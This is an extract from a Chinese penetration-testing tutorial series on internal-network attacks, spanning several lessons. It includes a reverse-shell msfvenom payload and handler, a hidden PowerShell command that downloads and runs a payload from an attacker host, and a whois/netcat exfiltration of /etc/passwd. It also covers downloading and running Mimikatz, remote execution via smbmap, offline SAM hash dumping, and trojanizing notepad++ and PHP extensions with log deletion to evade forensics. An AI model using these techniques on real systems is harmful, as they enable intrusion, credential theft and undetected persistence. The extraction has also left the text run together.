/LogToConsole=false/UC:\Users\Johnn\Desktop\Micropoor.exe 需要解决的第四个问题:抓取目标机明文密码 第五十一课:项目回忆:体系的本质是知识点串联 -340- 本文档使用书栈(BookStack.CN)构建 关于第五个问题,本意并不是该篇幅所要讲述的,后续是搜集目标机的mssql,mysql,rdp密码。搜 集所在内网的拓扑,来辅助本次的横向扩展。便完成了本次的项目。 如需具体,请参考我在Wiki上的系列教程78,79,12,13,71课时。 派生出的第五个问题:横向渗透 第五十一课:项目回忆:体系的本质是知识点串联 -341- 本文档使用书栈(BookStack.CN)构建 后者的话: 本次的整个流程,并没有遇到太多的问题,仅仅是把几个知识点的串联起来,形成的一个完整的渗透。也许你了 解知识点1,也了解知识点2,还了解知识点3等等。但是一次完整的项目是离不开每一个知识点的串联与灵活运 用。这应该是每一个信息安全从业人员值得思考的问题。 在每次分享的同时,深深发现,原来分享,才是我最好的老师。 Micropoor 第五十一课:项目回忆:体系的本质是知识点串联 -342- 本文档使用书栈(BookStack.CN)构建 目标资产信息搜集的程度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 ——Micropoor 文章将连载,从几方面论证,渗透的本质是信息搜集。 一次完整的网络渗透,不仅仅是与目标管理人员的权限争夺,一次完整的网络渗透,它分为两大块,技 术业务与信息分析业务。 而技术业务要辅助并且要为信息分析业务提供强大的支撑与保证。同时信息分析业务要为技术业务提供 关键的目标信息分析逻辑关系与渗透方向。 案例如下:(非root/administrator下主动信息搜集)(有马赛克) 在得到一个webshell时,非root/administrator情况下对目标信息搜集至关重要,它会影响后期 的渗透是否顺利,以及渗透方向。 目标主机分配了2个内网IP,分别为10.0.0.X与192.168.100.X 第五十二课:渗透的本质是信息搜集 -343- 本文档使用书栈(BookStack.CN)构建 得知部分服务软件,以及杀毒软件NOD32,一般内网中为杀毒为集体一致。 第五十二课:渗透的本质是信息搜集 -344- 本文档使用书栈(BookStack.CN)构建 搜集补丁更新频率,以及系统状况 第五十二课:渗透的本质是信息搜集 -345- 本文档使用书栈(BookStack.CN)构建 搜集安装软件以及版本,路径等。 第五十二课:渗透的本质是信息搜集 -346- 本文档使用书栈(BookStack.CN)构建 域中用户如下。目前权限为iisapppool\xxxx 第五十二课:渗透的本质是信息搜集 -347- 本文档使用书栈(BookStack.CN)构建 正如上面所说,技术业务需要辅助分析业务。在域组中,其中有几个组需要特别关注,在一般的大型内 网渗透中,需要关注大致几个组 (1)IT组/研发组他们掌握在大量的内网密码,数据库密码等。 (2)秘书组他们掌握着大量的目标机构的内部传达文件,为信息分析业务提供信息,在反馈给技术业 务来确定渗透方向 (3)domainadmins组root/administrator (4)财务组他们掌握着大量的资金往来与目标企业的规划发展,并且可以通过资金,来判断出目标组 织的整体架构 第五十二课:渗透的本质是信息搜集 -348- 本文档使用书栈(BookStack.CN)构建 (5)CXX组ceoctocoo等,不同的目标组织名字不同,如部长,厂长,经理等。 以研发中心为例:研发中心共计4人。 并且开始规划信息刺探等级: 等级1:确定某部门具体人员数量如研发中心4人 等级2:确定该部门的英文用户名的具体信息,如姓名,联系方式,邮箱,职务等。以便确定下一步攻 击方向 等级3:分别刺探白天/夜间内网中所存活机器并且对应IP地址 等级4:对应人员的工作机内网IP,以及工作时间 第五十二课:渗透的本质是信息搜集 -349- 本文档使用书栈(BookStack.CN)构建 等级5:根据信息业务反馈,制定目标安全时间,以便拖拽指定人员文件,或登录目标机器 等级6:制定目标机器后渗透与持续渗透的方式以及后门 刺探等级1 刺探等级2 第五十二课:渗透的本质是信息搜集 -350- 本文档使用书栈(BookStack.CN)构建 在netuser/domain后得到域中用户,但需要在非root/administrator权限下得到更多的信 息来给信息分析业务提供数据,并确定攻击方向。 在案例中针对nod32,采用powershellpayload 1. msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=xxx.xxx.xxx.xxx 2. LPORT=xx-fpsh-reflection>xx.ps1 3. msf>useexploit/multi/handler 4. msfexploit(handler)>setpayloadwindows/x64/meterpreter/reverse_tcp 5. payload=>windows/meterpreter/reverse_tcp 6. msfexploit(handler)>setlhostxxx.xxx.xxx.xxxlhost=>xxx.xxx.xxx.xxx 7. msfexploit(handler)>setlportxxxlport=>xxx 8. msf>run 第五十二课:渗透的本质是信息搜集 -351- 本文档使用书栈(BookStack.CN)构建 9. 10. powershell-windowstylehidden-execbypass-c"IEX(New- ObjectNet.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/xxx.ps1');" 注意区分目标及系统是32位还是64位。 接下来将会用IISAPPPOOL\XXXX的权限来搜集更多有趣的信息 第五十二课:渗透的本质是信息搜集 -352- 本文档使用书栈(BookStack.CN)构建 某数据库配置formssql 第五十二课:渗透的本质是信息搜集 -353- 本文档使用书栈(BookStack.CN)构建 白天测试段10.0.0.x段在线主机forwindows(部分) 第五十二课:渗透的本质是信息搜集 -354- 本文档使用书栈(BookStack.CN)构建 IP1-50open3389(部分) 10.0.0.x段信息刺探: 第五十二课:渗透的本质是信息搜集 -355- 本文档使用书栈(BookStack.CN)构建 1. [+]10.0.0.2:-10.0.0.2:3389-TCPOPEN 2. [+]10.0.0.3:-10.0.0.3:3389-TCPOPEN 3. [+]10.0.0.5:-10.0.0.5:3389-TCPOPEN 4. [+]10.0.0.7:-10.0.0.7:3389-TCPOPEN 5. [+]10.0.0.9:-10.0.0.9:3389-TCPOPEN 6. [+]10.0.0.12:-10.0.0.12:3389-TCPOPEN 7. [+]10.0.0.13:-10.0.0.13:3389-TCPOPEN 8. [+]10.0.0.14:-10.0.0.14:3389-TCPOPEN 9. [+]10.0.0.26:-10.0.0.26:3389-TCPOPEN 10. [+]10.0.0.28:-10.0.0.28:3389-TCPOPEN 11. [+]10.0.0.32:-10.0.0.32:3389-TCPOPEN IP1-255open22,25(部分) 1. [+]10.0.0.3:-10.0.0.3:25-TCPOPEN 2. [+]10.0.0.5:-10.0.0.5:25-TCPOPEN 3. [+]10.0.0.14:-10.0.0.14:25-TCPOPEN 第五十二课:渗透的本质是信息搜集 -356- 本文档使用书栈(BookStack.CN)构建 4. [+]10.0.0.15:-10.0.0.15:22-TCPOPEN 5. [+]10.0.0.16:-10.0.0.16:22-TCPOPEN 6. [+]10.0.0.17:-10.0.0.17:22-TCPOPEN 7. [+]10.0.0.20:-10.0.0.20:22-TCPOPEN 8. [+]10.0.0.21:-10.0.0.21:22-TCPOPEN 9. [+]10.0.0.31:-10.0.0.31:22-TCPOPEN 10. [+]10.0.0.38:-10.0.0.38:22-TCPOPEN 11. [+]10.0.0.40:-10.0.0.40:22-TCPOPEN 12. [+]10.0.0.99:-10.0.0.99:22-TCPOPEN 13. [+]10.0.0.251:-10.0.0.251:22-TCPOPEN 14. [+]10.0.0.254:-10.0.0.254:22-TCPOPEN IP1-255smtpforversion(部分) 1. msfauxiliary(smtp_version)\>run 2. 3. [+]10.0.0.3:25-10.0.0.3:25SMTP220xxxxxxxxxxxxxxxxxMAILService,Version: 7.5.7601.17514readyatWed,14Feb201818:28:44+0800\\x0d\\x0a 4. [+]10.0.0.5:25-10.0.0.5:25SMTP220xxxxxxxxxxxxxxxxxMicrosoftESMTPMAIL Service,Version:7.5.7601.17514readyatWed,14Feb201818:29:05+0800 \\x0d\\x0a 5. [+]10.0.0.14:25-10.0.0.14:25SMTP220xxxxxxxxxxxxxxxxxtESMTPMAILService, Version:7.0.6002.18264readyatWed,14Feb201818:30:32+0800\\x0d\\x0a 第五十二课:渗透的本质是信息搜集 -357- 本文档使用书栈(BookStack.CN)构建 在iisapppool\xxxx的权限下,目前得知该目标内网分配段,安装软件,杀毒,端口,服务,补丁 更新频率,管理员上线操作时间段,数据库配置信息,域用户详细信息(英文user对应的职务,姓名 等),以上数据等待信息分析业务,来确定攻击方向。如财务组,如cxx组等。并且完成了刺探等级1- 4 而在以上的信息搜集过程中,提权不在是我考虑的问题了,可以Filezillaserver提权,mssqsl数 据库提权,win03提权,win2000提权,win08提权,iis.x提权,内网映射提权等。而现在需要做的 是如何反制被发现来制定目标业务后门,以便长期控制。 下一季的连载,将会从三方面来讲述大型内网的信息刺探,既有0day的admin权限下刺探,无提权下的 guest/users权限下刺探。数据库下的权限刺探。域权限延伸到办公PC机的信息刺探。以及只有路由 权限下的信息刺探。原来在渗透过程中,提权是次要的,信息刺探才是渗透的本质。 Micropoor 第五十二课:渗透的本质是信息搜集 -358- 本文档使用书栈(BookStack.CN)构建 利用whois传输文件: 传输机: 1. root@john:~#whois-h127.0.0.1-p4444`cat/etc/passwd|base64` 接受机: 1. root@john:/tmp#nc-l-v-p4444|sed"s///g"|base64-d 优点:适用于隐蔽传输。最小化被发现。 缺点:适用于传输小文件。 第五十三课:内网渗透中的文件传输 -359- 本文档使用书栈(BookStack.CN)构建 后者的话:whois是否同样适用于payload的反弹,是一个非常有趣的实验。 Micropoor 第五十三课:内网渗透中的文件传输 -360- 本文档使用书栈(BookStack.CN)构建 连载2: 在上一篇连载中讲到powershell可无缝来调.netframework。而在实战中,内网的代理尤其重要, 如常见的端口转发被反病毒软件盯死。本章无图,其他同学如有环境测试,可补图。 介绍github: https://raw.githubusercontent.com/p3nt4/Invoke-SocksProxy/master/Invoke- SocksProxy.psm1 CreateaSocks4/5proxyonport1234: 1. Import-Module.\Invoke-SocksProxy.psm1 2. Invoke-SocksProxy-bindPort1234 Createasimpletcpportforward: 1. Import-Module.\Invoke-SocksProxy.psm1 2. Invoke-PortFwd-bindPort33389-destHost127.0.0.1-destPort3389 可目前过大部分反病毒软件。 Micropoor Examples 第五十四课:基于Powershell做Socks4-5代理 -361- 本文档使用书栈(BookStack.CN)构建 msf在配合其它框架攻击,可补充msf本身的不足以及强化攻击方式,优化攻击线路。本季将会把 msf与Smbmap结合攻击。弥补msf文件搜索以及文件内容搜索的不足。 项目地址:https://github.com/ShawnDEvans/smbmap 支持传递哈希 文件上传/下载/删除 可枚举(可写共享,配合Metasploit) 远程命令执行 支持文件内容搜索 支持文件名匹配(可以自动下载) msf配合Smbmap攻击需要使用到sock4a模块 1. msfauxiliary(server/socks4a)>showoptions 该模块socks4a加入job 1. msfauxiliary(server/socks4a)>jobs 第五十五课:与Smbmap结合攻击 -362- 本文档使用书栈(BookStack.CN)构建 配置proxychains,做结合攻击铺垫。 1. root@John:/tmp#cat/etc/proxychains.conf 第五十五课:与Smbmap结合攻击 -363- 本文档使用书栈(BookStack.CN)构建 支持远程命令 1. root@John:/tmp\#proxychainssmbmap‐uadministrator‐p123456‐dwordkgroup ‐H192.168.1.115‐x'netuser' 1. root@John:/tmp#proxychainssmbmap‐uadministrator‐p123456‐dwordkgroup‐H 192.168.1.115‐x'whoami' 枚举目标机共享 1. root@John:/tmp#proxychainssmbmap‐uadministrator‐p123456‐dwordkgroup‐H 192.168.1.115‐dABC 第五十五课:与Smbmap结合攻击 -364- 本文档使用书栈(BookStack.CN)构建 1. root\@John:/tmp\#proxychainssmbmap‐uadministrator‐p123456‐dwordkgroup ‐H192.168.1.115‐x'ipconfig' Smbmap支持IP段的共享枚举,当然Smbmap还有更多强大的功能等待探索。 Micropoor 第五十五课:与Smbmap结合攻击 -365- 本文档使用书栈(BookStack.CN)构建 很多环境下,不允许上传或者使用mimikatz。而针对非域控的单机离线提取hash显得尤为重要。 在meterpretershell命令切到交互式cmd命令。 regsave方式使得需要下载的目标机hash文件更小。 regsaveHKLM\SYSTEMsys.hiv regsaveHKLM\SAMsam.hiv regsavehklm\securitysecurity.hiv 第五十六课:离线提取目标机hash -366- 本文档使用书栈(BookStack.CN)构建 meterpreter下自带download功能。 本季用到的是impacket的secretsdump.py。Kali默认路 径: /root/impacket/examples/secretsdump.py 命令如下: 1. root@John:/tmp#python/root/impacket/examples/secretsdump.py‐samsam.hiv‐ securitysecurity.hiv‐systemsys.hivLOCAL 离线提取: 第五十六课:离线提取目标机hash -367- 本文档使用书栈(BookStack.CN)构建 Micropoor 第五十六课:离线提取目标机hash -368- 本文档使用书栈(BookStack.CN)构建 当我们接到某个项目的时候,它已经是被入侵了。甚至已经被脱库,或残留后门等持续攻击洗库。 后渗透攻击者的本质是什么? 阻止防御者信息搜集,销毁行程记录,隐藏存留文件。 防御者的本质是什么? 寻找遗留信息,发现攻击轨迹与样本残留并且阻断再次攻击。 那么这里攻击者就要引入“持续攻击”,防御者就要引入“溯源取证与清理遗留”,攻击与持续攻击的分水 岭是就是后渗透持续攻击,而表现形式其中之一就是后门。 本地后门:如系统后门,这里指的是装机后自带的某功能或者自带软件后门 本地拓展后门:如iis6的isapi,iis7的模块后门 第三方后门:如apache,serv-u,第三方软件后门 第三方扩展后门:如php扩展后门,apache扩展后门,第三方扩展后门 人为化后门:一般指被动后门,由人为引起触发导致激活,或者传播 后门的隐蔽性排行:本地后门>本地拓展后门>第三方后门>第三方扩展后门,这里排除人为化后 门,一个优秀的人为化后门会造成的损失不可估计,比如勒索病毒的某些非联网的独立机器,也有被勒 索中毒。在比如某微博的蠕虫等。 整体概括分类为:主动后门,被动后门。传播型后门。 后门的几点特性:隐蔽,稳定。持久 一个优秀的后门,一定是具备几点特征的,无文件,无端口,无进程,无服务,无语言码,并且是量身 目标制定且一般不具备通用性。 攻击者与防御者的本质对抗是什么? 增加对方在对抗中的时间成本,人力成本。 这里要引用百度对APT的解释: APT是指高级持续性威胁。利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式,APT攻击的原 理相对于其他攻击形式更为高级和先进,其高级性主要体现在APT在发动攻击之前需要对攻击对象的业务流程和 目标系统进行精确的收集。 那么关于高级持续渗透后门与上面的解释类似:高级持续渗透后门是指高级持续性后渗透权限长期把 控,利用先进的后渗透手段对特定目标进行长期持续性维持权限的后攻击形式,高级持续渗透后门的原 理相对于其他后门形式更为高级和先进,其高级性主要体现在持续渗透后门在发动持续性权限维持之前 需要对攻击对象的业务流程和目标系统进行精确的收集并量身制定目标后门。 第一季从攻击者角度来对抗: 后门的种类: 第五十七课:高级持续渗透-第一季关于后门 -369- 本文档使用书栈(BookStack.CN)构建 项目中一定会接触到溯源,而溯源最重要的环节之一就是样本取证与分析。既然是样本取证,也就是主 要找残留文件。可能是脚本,dll,so,exe等。其次是查找相关流量异常,端口,进程。异常日志。 做为攻击者的对抗,无开放端口,无残留文件,无进程,无服务。在防御者处理完攻击事件后的一定时 间内,再次激活。 这里要解释一下rootkit,它的英文翻译是一种特殊类型的恶意软件。百度百科是这样解释的: Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比 较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系 统内核,进而达到隐藏信息的目的。 在后门的进化中,rootkit也发生了变化,最大的改变是它的系统层次结构发生了变化。 1. 有目标源码 2. 无目标源码 3. 无目标源码,有目标api 4. 无目标源码,无api,得到相关漏洞等待触发 结合后门生成分类来举例细说几个demo。 目前大量服务器上有第三方软件。这里以notepad++为例。 Notepad++是Windows操作系统下的一套文本编辑器,有完整的中文化接口及支持多国语言编写的功 能,并且免费开源。 开源项目地址:https://github.com/notepad-plus-plus/notepad-plus-plus 关于编译:https://micropoor.blogspot.hk/2017/12/1notepad.html Demo环境:windows7x64,notepad++(x64)DemoIDE:vs2017 在源码中,我们修改每次打开以php结尾的文件,先触发后门,在打开文件。其他文件跳过触发后门。 后门的生成大体分4类: 1.有目标源码 第五十七课:高级持续渗透-第一季关于后门 -370- 本文档使用书栈(BookStack.CN)构建 文件被正常打开。 第五十七课:高级持续渗透-第一季关于后门 -371- 本文档使用书栈(BookStack.CN)构建 优点:在对抗反病毒,反后门软件中有绝对优势,可本地多次调试,稳定性强壮。跨平台能力非常强 壮,并且可以对后门选择方式任意,如主动后门,被动后门,人为化后门等。 缺点:针对性较强,需要深入了解目标服务器安装或使用软件。需要语言不确定的语言基础。在封闭系 统,如Windows下多出现于第三方开源。 参考内部分享第九课 优点:在对抗反病毒,反后门软件中有一定优势,稳定性良好,跨平台能力一般,并且适用于大多数可 操作文件,同样可以选择对后门选择方式任意,如主动后门,被动后门,人为化后门等。 2.无目标源码 第五十七课:高级持续渗透-第一季关于后门 -372- 本文档使用书栈(BookStack.CN)构建 缺点:稳定性不突出,在修改已生成的二进制文件,容易被反病毒,反后门软件查杀。 目前大多数的Ms_server,内置iis,从windows2000开始,而目前国内市场使用03sp2,08r2为 主。在win下又以iis为主,在iis中目前主要分为iis5.x,iis6.x,大于等于iis7.x。iis7以后 有了很大的变化,尤其引入模块化体系结构。iis6.x最明显的是内置IUSR来进行身份验证,IIS7中, 每个身份验证机制都被隔离到自己的模块中,或安装或卸载。 同样,目前国内市场另一种常见组合XAMP(WIN+Apche+mysql+php,与 Linux+Apche+mysql+php),php5.x与php7.x有了很大的变化,PHP7将基于最初由Zend开发的 PHPNG来改进其框架。并且加入新功能,如新运算符,标记,对十六进制的更友好支持等。 Demo环境:windows7x86php5.6.32 DemoIDE:vs2017 php默认有查看加载扩展,命令为php-m,有着部分的默认扩展,而在扩展中,又可以对自己不显示在 扩展列表中 3.无目标源码,有目标api 第五十七课:高级持续渗透-第一季关于后门 -373- 本文档使用书栈(BookStack.CN)构建 php.ini配置 第五十七课:高级持续渗透-第一季关于后门 -374- 本文档使用书栈(BookStack.CN)构建 以Demo.php为例,demo.php代码如下: 在访问demo.php,post带有触发后门特征,来执行攻击者的任意php代码。在demo中,仅仅是做到 了,无明显的以php后缀为结尾的后门,那么结合第一条,有目标源码为前提,来写入其他默认自带扩 展中,来达到更隐蔽的作用。 第五十七课:高级持续渗透-第一季关于后门 -375- 本文档使用书栈(BookStack.CN)构建 优点:在对抗反病毒,反后门软件中有绝对优势,可本地多次调试,稳定性非常强壮。跨平台能力非常 强壮,且可以对后门选择方式任意,如主动后门,被动后门,人为化后门等。 缺点:在编译后门的时候,需要查阅大量API,一个平台到多个平台的相关API。调试头弄,失眠,吃 不下去饭。领导不理解,冷暖自知。 第二季从防御者角度来对抗。 后者的话: 目前国内市场的全流量日志分析,由于受制于存储条件等因素,大部分为全流量,流量部分分析。那么在高级持 久性后门中,如何建立一个伪流量非实用数据来逃逸日志分析,这应该是一个优秀高级持续后门应该思考的问 题。 Micropoor 第五十七课:高级持续渗透-第一季关于后门 -376- 本文档使用书栈(BookStack.CN)构建 这次继续围绕第一篇,第一季关于后门: https://micropoor.blogspot.hk/2017/12/php.html 做整理与补充。在深入一步细化demonotepad++。 后门是渗透测试的分水岭,它分别体现了攻击者对目标机器的熟知程度,环境,编程语言,了解对方客 户,以及安全公司的本质概念。这样的后门才能更隐蔽,更长久。 而对于防御者需要掌握后门的基本查杀,与高难度查杀,了解被入侵环境,目标机器。以及后门或者病 毒可隐藏角落,或样本取证,内存取证。 所以说后门的安装与反安装是一场考试,一场实战考试。 这里要引用几个概念,只有概念清晰,才能把后门加入概念化,使其更隐蔽。 1:攻击方与防御方的本质是什么? 增加对方的时间成本,人力成本,资源成本(不限制于服务器资源),金钱成本。 2:安全公司的本质是什么? 盈利,最小投入,最大产出。 3:安全公司产品的本质是什么? 能适应大部分客户,适应市场化,并且适应大部分机器。(包括不限制于资源紧张,宽带不足等问题的 客户) 4:安全人员的本质是什么? 赚钱,养家。买房,还房贷。导致,快速解决客户问题(无论暂时还是永久性解决),以免投诉。 5:对接客户的本质是什么? 对接客户也是某公司内安全工作的一员,与概念4相同。 清晰了以上5个概念,作为攻击者,要首先考虑到对抗成本,什么样的对抗成本,能满足概念1-5。影响 或阻碍对手方的核心利益。把概念加入到后门,更隐蔽,更长久。 文章的标题既然为php安全新闻早八点,那么文章的本质只做技术研究,Demo本身不具备攻击或者持续 控制权限功能。 Demo环境:windows7x64,notepad++(x64) DemoIDE:vs2017 在源码中,我们依然修改每次打开以php结尾的文件,先触发后门,在打开文件。其他文件跳过触发后 门。但是这次代码中加入了生成micropoor.txt功能。并且使用php来加载运行它,是的,生成一个 txt。demo中,为了更好的演示,取消自动php加载运行该txt。 Demo连载第二季: 第五十八课:高级持续渗透-第二季关于后门补充一 -377- 本文档使用书栈(BookStack.CN)构建 而txt的内容如图所示,并且为了更好的了解,开启文件监控。 使用notepad++(demo2).exe打开以php结尾的demo.php,来触发microdoor。并且生成了 micropoor.txt 第五十八课:高级持续渗透-第二季关于后门补充一 -378- 本文档使用书栈(BookStack.CN)构建 第五十八课:高级持续渗透-第二季关于后门补充一 -379- 本文档使用书栈(BookStack.CN)构建 而micropoor.txt内容: 第五十八课:高级持续渗透-第二季关于后门补充一 -380- 本文档使用书栈(BookStack.CN)构建 配合micropoor.txt的内容,这次的Demo将会变得更有趣。 那么这次demo做到了,无服务,无进程,无端口,无自启。 根据上面的5条概念,加入到了demo中,增加对手成本。使其更隐蔽。 如果demo不是notepad++,而是mysql呢?用它的端口,它的进程,它的服务,它的一切,来重新编译 microdoor。 例如:重新编译mysql.so,mysql.dll,替换目标主机。 无文件,无进程,无端口,无服务,无语言码。因为一切附属于它。 这应该是一个攻击者值得思考的问题。 正如第一季所说:在后门的进化中,rootkit也发生了变化,最大的改变是它的系统层次结构发生了变 化。 Micropoor 第五十八课:高级持续渗透-第二季关于后门补充一 -381- 本文档使用书栈(BookStack.CN)构建 前者的话:从第三季开始引入段子,让本枯燥的学术文章,也变得生动有趣。 第二季的Demo遵循人性五条来设计,回忆这其中五条: 1:攻击方与防御方的本质是什么? 增加对方的时间成本,人力成本,资源成本(不限制于服务器资源),金钱成本。 2:安全公司的本质是什么? 盈利,最小投入,最大产出。 3:安全公司产品的本质是什么? 能适应大部分客户,适应市场化,并且适应大部分机器。(包括不限制于资源紧张,宽带不足等问题的 客户) 4:安全人员的本质是什么? 赚钱,养家。买房,还房贷。导致,快速解决客户问题(无论暂时还是永久性解决),以免投诉。 5:对接客户的本质是什么? 对接客户也是某公司内安全工作的一员,与概念4相同。 6:线索排查与反线索排查 那么这个demo离可高级可持续性渗透后门还有一段距离,这里引入第六条“线索排查”与“反线索排 查”,在第二季的demo中,它生成了一个名为micropoor.txt的文件,如果经验丰富的安全人员可根 据时间差来排查日记,demo的工作流程大致是这样的,打开notepad++,生成micropoor.txt,写 入内容,关闭文件流。根据线索排查,定位到notepad++,导致权限失控。 在线索排查概念中,这里要引入“ABC”类线索关联排查,当防御者在得到线索A,顺藤到B,最后排查到 目标文件C,根据五条中的第一条,demo要考虑如何删除指定日志内容,以及其他操作。来阻止ABC类 线索关联排查。 不要思维固死在这是一个nontepad++后门的文章,它是一个面向类后门,面向的是可掌握源码编译的 类后门。同样不要把思维固定死在demo中的例子,针对不同版本的NT系统,完全引用“powershell IEX(New-Object System.Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/cly mb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');Invoke- Mimikatz”而关于bypass UAC,已经有成熟的源码。或发送至远程或是写在本地的图片里,不要让知识,限制了后门的想象。这 也正是第一季所说的:一个优秀的Microdoor是量身目标制定且一般不具备通用性的。是的,一般不具 备通用性。 观看目前文章的一共有2类人,一类攻击方,一类防守方。假设一个场景,现在摆在你面前有一台笔记 本,并且这台笔记本有明确的后门,你的任务,排查后门。我想所有人都会排查注册表,服务,端口, 进程等。因为这些具备通用性,也同样具备通用性排查手段。 第五十九课:高级持续渗透-第三季关于后门补充二 -382- 本文档使用书栈(BookStack.CN)构建 临近文章结尾,第三次引用:在后门的进化对抗中,rootkit也发生了变化,最大的改变是它的系统层 次结构发生了变化。如果彻底理解了这段话。那么就要引用王健X爸爸的一句话:先定个小目标,控它 个1825天。 / 段子/ 奈何厂商不重视后渗透攻击与持久性攻击,文章的结尾引用马X爸爸的一句话:厂商不改变,我们就改 变厂商。 Micropoor 第五十九课:高级持续渗透-第三季关于后门补充二 -383- 本文档使用书栈(BookStack.CN)构建 第四季是一个过渡季,过渡后门在对抗升级中由传统后门,衍生成锁定目标的制定后门。引用百度百科 的“后门程序”的相关解释: https://baike.baidu.com/item/%E5%90%8E%E9%97%A8%E7%A8%8B%E5%BA%8F/108154 安全从业人员,其实至少一直在与传统后门对抗,比如最常见的webshell免杀与webshell过waf。应 急中的样本取证查杀远控残留文件等。但是webshell,远控仅仅又是“backdoor”的其中一种。 这里按照上几季的风格继续引用几个概念,只有概念清晰,才能了解如何对抗。 1:安全从业人员为什么要了解后门? 防御是以市场为核心的,而不是以项目为核心。需要对抗的可能是黑产从业者的流量劫持相关 后门,或者是政治黑客的高持续渗透权限把控后门等。 2:攻击人员为什么要了解后门? 随着对抗传统后门的产品越来越成熟,由特征查杀,到行为查杀,到态势感知。到大数据联合特征溯源 锁定,如何反追踪,是一个非常值得思考的问题。 3:后门与项目的关联是什么? 某项目,被入侵,应急并加固解决,若干天后,再次被入侵依然篡改为某博彩。导致安全从业人员,客 户之间的问题。 4:后门与安全产品的关联是什么? 某客户购买某安全产品套装,在实战中,一般由非重点关注服务器迂回渗透到核心服务器来跨过安全产 品监控,得到相关权限后,后门起到越过安全产品。它会涉及对其他附属安全产品的影响。如客户质 疑:为什么我都买了你们的套装,还被入侵。并且这还是第二次了。 思维跳出以上4条,来看下进一年的部分相关安全事件: 第六十课:高级持续渗透-第四季关于后门 -384- 本文档使用书栈(BookStack.CN)构建 思维跳出以上4条安全事件,这里再一次引入百度百科的APT的主要特性: ——潜伏性:这些新型的攻击和威胁可能在用户环境中存在一年以上或更久,他们不断收集各种信息,直 到收集到重要情报。而这些发动APT攻击的黑客目的往往不是为了在短时间内获利,而是把“被控主 机”当成跳板,持续搜索,直到能彻底掌握所针对的目标人、事、物,所以这种APT攻击模式,实质上是 一种“恶意商业间谍威胁”。 ——持续性:由于APT攻击具有持续性甚至长达数年的特征,这让企业的管理人员无从察觉。在此期间, 这种“持续性”体现在攻击者不断尝试的各种攻击手段,以及渗透到网络内部后长期蛰伏。 ——锁定特定目标:针对特定政府或企业,长期进行有计划性、组织性的窃取情报行为,针对被锁定对象 寄送几可乱真的社交工程恶意邮件,如冒充客户的来信,取得在计算机植入恶意软件的第一个机会。 ——安装远程控制工具:攻击者建立一个类似僵尸网络Botnet的远程控制架构,攻击者会定期传送有潜 在价值文件的副本给命令和控制服务器(C&CServer)审查。将过滤后的敏感机密数据,利用加密的方 式外传。 一次针对特定对象,长期、有计划性渗透的本质是什么?窃取数据下载到本地,或者以此次渗透来达到 变现目的。引用如图: 第六十课:高级持续渗透-第四季关于后门 -385- 本文档使用书栈(BookStack.CN)构建 第六十课:高级持续渗透-第四季关于后门 -386- 本文档使用书栈(BookStack.CN)构建 一次具有针对性的渗透,绝对不单单是以渗透DMZ区为主,重要资料一般在内网服务器区(包括但不限 制于数据库服务器,文件服务器,OA服务器),与内网办公区(包括但不限制于个人机,开发机,财务 区)等。而往往这样的高级持续渗透,不能是一气呵成,需要一定时间内,来渗透到资料所在区域。而 这里其中一个重要的环节就是对后门的要求,在渗透期间内(包括但不限制于一周到月甚至到年)以保 持后续渗透。 传统型的后门不在满足攻击者的需求,而传统型的木马后门,大致可分为六代: 第一代,是最原始的木马程序。主要是简单的密码窃取,通过电子邮件发送信息等,具备了木马最基本 的功能。 第二代,在技术上有了很大的进步,冰河是中国木马的典型代表之一。 第三代,主要改进在数据传递技术方面,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了杀 毒软件查杀识别的难度。 第四代,在进程隐藏方面有了很大改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入 DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在WindowsNT/2000下,都达到了良好的隐 藏效果。灰鸽子和蜜蜂大盗是比较出名的DLL木马。 第五代,驱动级木马。驱动级木马多数都使用了大量的Rootkit技术来达到在深度隐藏的效果,并深入 到内核空间的,感染后针对杀毒软件和网络防火墙进行攻击,可将系统SSDT初始化,导致杀毒防火墙失 去效应。有的驱动级木马可驻留BIOS,并且很难查杀。 第六代,随着身份认证UsbKey和杀毒软件主动防御的兴起,黏虫技术类型和特殊反显技术类型木马逐 第六十课:高级持续渗透-第四季关于后门 -387- 本文档使用书栈(BookStack.CN)构建 渐开始系统化。前者主要以盗取和篡改用户敏感信息为主,后者以动态口令和硬证书攻击为主。 PassCopy和暗黑蜘蛛侠是这类木马的代表。 以远控举例,远控最开始生成的RAT功能一体化(包括但不限制于文件传输,命令执行等),后衍生成 生成RAT支持插件式来达到最终目的。 以上的几代包括以上远控共同点,以独立服务或者独立进程,独立端口等来到达目的。难以对抗目前的 反病毒反后门程序。那么传统型后门权限维持就不能满足目前的需求。 以第二季的demo举例,它无自己的进程,端口,服务,而是借助notepad++(非dll劫持)来生成php 内存shell(这个过程相当于插件生成),并且无自启,当服务器重启后,继续等待管理员使用 notepad++,它属于一个AB链后门,由A-notepad生成B-shell,以B-shell去完成其他工作。如果 继续改进Demo,改造ABC链后门,A负责生成,B负责清理痕迹,C负责工作呢?这是一个攻击者应该思 考的问题。 而后门的主要工作有2点,1越过安全产品。2维持持续渗透权限。 文章的结尾,这不是一个notepad++的后门介绍,它是一个demo,一个类后门,一个具有源码可控类 的后门。 Micropoor 第六十课:高级持续渗透-第四季关于后门 -388- 本文档使用书栈(BookStack.CN)构建 这一季依然是一个过渡季,根据之前的连载中,了解到后门是渗透测试的分水岭,它分别体现了攻击者 对目标机器的熟知程度,环境,编程语言,了解对方客户,以及安全公司的本质概念。也同样检测了防 御者需要掌握后门的基本查杀,与高难度查杀,了解被入侵环境,目标机器。以及后门或者病毒可隐藏 角落,或样本取证,内存取证等。对各种平台查杀熟知,对常见第三方软件的了解程度。既然题目 以“艺术”为核心,那么怎样把后门“艺术”行为化呢? 依然遵循以往,引入概念,只有概念清晰,本质清晰,对于攻击者,这样的后门更具有持久性,潜伏 性,锁定性等。对于防御者,更能熟知反后门对抗,对待常用第三方软件的检测方式方法,切断攻击者 